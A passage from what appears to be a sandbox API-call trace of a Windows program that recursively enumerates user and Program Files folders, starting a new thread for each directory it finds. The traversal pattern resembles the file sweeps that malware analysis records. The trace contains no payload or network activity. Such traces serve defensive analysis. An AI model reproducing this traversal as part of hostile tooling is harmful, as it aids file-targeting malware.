_Dest=0x409f28, _Source="Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0045.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0045.876] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0045.876] wcscmp (_String1="Videos", _String2=".") returned 1 [0045.876] wcscmp (_String1="Videos", _String2="..") returned 1 [0045.876] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x30) returned 0x40ab48 [0045.877] wcscpy (in: _Dest=0x40ab48, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.877] wcscat (in: _Dest=0x40ab48, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.877] wcscat (in: _Dest=0x40ab48, _Source="Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0045.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40ab48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0045.878] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0045.878] FindClose (in: hFindFile=0x409ae8 | out: hFindFile=0x409ae8) returned 1 [0045.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c558) returned 1 [0045.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445c08) returned 1 [0045.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445bd8) returned 1 Thread: id = 106 os_tid = 0xba8 [0045.886] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x30) returned 0x40ab80 [0045.886] wcscpy (in: _Dest=0x40ab80, _Source="C:\\Users\\Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0045.886] wcscat (in: _Dest=0x40ab80, _Source="\\" | out: _Dest="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0045.886] wcscat (in: _Dest=0x40ab80, _Source="*" | out: _Dest="C:\\Users\\Default User\\*") returned="C:\\Users\\Default User\\*" [0045.886] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44c558 [0045.886] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0045.886] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c558) returned 1 [0045.886] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab80) returned 1 [0045.886] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9f8) returned 1 Thread: id = 107 os_tid = 0xbac [0045.892] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x24) returned 0x445bd8 [0045.892] wcscpy (in: _Dest=0x445bd8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.892] wcscat (in: _Dest=0x445bd8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.892] wcscat (in: _Dest=0x445bd8, _Source="*" | out: _Dest="C:\\Users\\Public\\*") returned="C:\\Users\\Public\\*" [0045.892] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44c558 [0045.892] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ae8 [0045.892] wcscmp (_String1=".", _String2=".") returned 0 [0045.892] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.892] wcscmp (_String1="..", _String2=".") returned 1 [0045.892] wcscmp (_String1="..", _String2="..") returned 0 [0045.892] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0045.892] wcscmp (_String1="Desktop", _String2=".") returned 1 [0045.892] wcscmp (_String1="Desktop", _String2="..") returned 1 [0045.892] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x30) returned 0x40a9f8 [0045.892] wcscpy (in: _Dest=0x40a9f8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.892] wcscat (in: _Dest=0x40a9f8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.892] wcscat (in: _Dest=0x40a9f8, _Source="Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0045.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a9f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0045.893] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0045.894] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0045.894] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0045.894] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0045.894] wcscmp (_String1="Documents", _String2=".") returned 1 [0045.894] wcscmp (_String1="Documents", _String2="..") returned 1 [0045.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x409f68 [0045.894] wcscpy (in: _Dest=0x409f68, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.894] wcscat (in: _Dest=0x409f68, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.894] wcscat (in: _Dest=0x409f68, _Source="Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0045.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0045.895] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0045.895] wcscmp (_String1="Downloads", _String2=".") returned 1 [0045.895] wcscmp (_String1="Downloads", _String2="..") returned 1 [0045.895] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x409fa8 [0045.895] wcscpy (in: _Dest=0x409fa8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.895] wcscat (in: _Dest=0x409fa8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.895] wcscat (in: _Dest=0x409fa8, _Source="Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0045.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0045.896] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0045.896] wcscmp (_String1="Favorites", _String2=".") returned 1 [0045.896] wcscmp (_String1="Favorites", _String2="..") returned 1 [0045.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x409fe8 [0045.896] wcscpy (in: _Dest=0x409fe8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.896] wcscat (in: _Dest=0x409fe8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.896] wcscat (in: _Dest=0x409fe8, _Source="Favorites" | out: _Dest="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites" [0045.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0045.897] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0045.897] wcscmp (_String1="Libraries", _String2=".") returned 1 [0045.897] wcscmp (_String1="Libraries", _String2="..") returned 1 [0045.897] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x40a028 [0045.897] wcscpy (in: _Dest=0x40a028, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.897] wcscat (in: _Dest=0x40a028, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.897] wcscat (in: _Dest=0x40a028, _Source="Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0045.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0045.898] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0045.898] wcscmp (_String1="Music", _String2=".") returned 1 [0045.898] wcscmp (_String1="Music", _String2="..") returned 1 [0045.898] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2c) returned 0x40ab80 [0045.898] wcscpy (in: _Dest=0x40ab80, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.898] wcscat (in: _Dest=0x40ab80, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.898] wcscat (in: _Dest=0x40ab80, _Source="Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0045.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40ab80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0045.900] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0045.900] wcscmp (_String1="Pictures", _String2=".") returned 1 [0045.900] wcscmp (_String1="Pictures", _String2="..") returned 1 [0045.900] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x40a068 [0045.900] wcscpy (in: _Dest=0x40a068, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.900] wcscat (in: _Dest=0x40a068, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.900] wcscat (in: _Dest=0x40a068, _Source="Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0045.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0045.901] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0045.901] wcscmp (_String1="Recorded TV", _String2=".") returned 1 [0045.901] wcscmp (_String1="Recorded TV", _String2="..") returned 1 [0045.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x40a0a8 [0045.901] wcscpy (in: _Dest=0x40a0a8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.901] wcscat (in: _Dest=0x40a0a8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.901] wcscat (in: _Dest=0x40a0a8, _Source="Recorded TV" | out: _Dest="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV" [0045.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a0a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0045.902] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0045.902] wcscmp (_String1="Videos", _String2=".") returned 1 [0045.902] wcscmp (_String1="Videos", _String2="..") returned 1 [0045.902] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2e) returned 0x40abb8 [0045.902] wcscpy (in: _Dest=0x40abb8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.902] wcscat (in: _Dest=0x40abb8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0045.902] wcscat (in: _Dest=0x40abb8, _Source="Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0045.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40abb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0045.903] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0045.903] FindClose (in: hFindFile=0x409ae8 | out: hFindFile=0x409ae8) returned 1 [0045.904] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c558) returned 1 [0045.904] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445bd8) returned 1 [0045.904] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419aa0) returned 1 Thread: id = 108 os_tid = 0xbb0 [0045.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a190 [0045.923] wcscpy (in: _Dest=0x44a190, _Source="C:\\Program Files\\Common Files\\DESIGNER" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER" [0045.923] wcscat (in: _Dest=0x44a190, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\") returned="C:\\Program Files\\Common Files\\DESIGNER\\" [0045.923] wcscat (in: _Dest=0x44a190, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\*") returned="C:\\Program Files\\Common Files\\DESIGNER\\*" [0045.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44c558 [0045.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ae8 [0045.924] wcscmp (_String1=".", _String2=".") returned 0 [0045.924] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.924] wcscmp (_String1="..", _String2=".") returned 1 [0045.924] wcscmp (_String1="..", _String2="..") returned 0 [0045.924] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0045.924] wcscmp (_String1="MSADDNDR.DLL", _String2=".") returned 1 [0045.924] wcscmp (_String1="MSADDNDR.DLL", _String2="..") returned 1 [0045.924] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0045.924] FindClose (in: hFindFile=0x409ae8 | out: hFindFile=0x409ae8) returned 1 [0045.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c558) returned 1 [0045.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a190) returned 1 [0045.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413e38) returned 1 Thread: id = 109 os_tid = 0xbb4 [0045.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a190 [0045.928] wcscpy (in: _Dest=0x44a190, _Source="C:\\Program Files\\Common Files\\Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0045.928] wcscat (in: _Dest=0x44a190, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\Services\\") returned="C:\\Program Files\\Common Files\\Services\\" [0045.928] wcscat (in: _Dest=0x44a190, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\Services\\*") returned="C:\\Program Files\\Common Files\\Services\\*" [0045.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44c558 [0045.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4402e0 [0046.734] wcscmp (_String1=".", _String2=".") returned 0 [0046.734] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.734] wcscmp (_String1="..", _String2=".") returned 1 [0046.734] wcscmp (_String1="..", _String2="..") returned 0 [0046.734] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0046.734] wcscmp (_String1="verisign.bmp", _String2=".") returned 1 [0046.734] wcscmp (_String1="verisign.bmp", _String2="..") returned 1 [0046.734] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421268 [0046.734] wcscpy (in: _Dest=0x421268, _Source="C:\\Program Files\\Common Files\\Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0046.734] wcscat (in: _Dest=0x421268, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\Services\\") returned="C:\\Program Files\\Common Files\\Services\\" [0046.734] wcscat (in: _Dest=0x421268, _Source="verisign.bmp" | out: _Dest="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned="C:\\Program 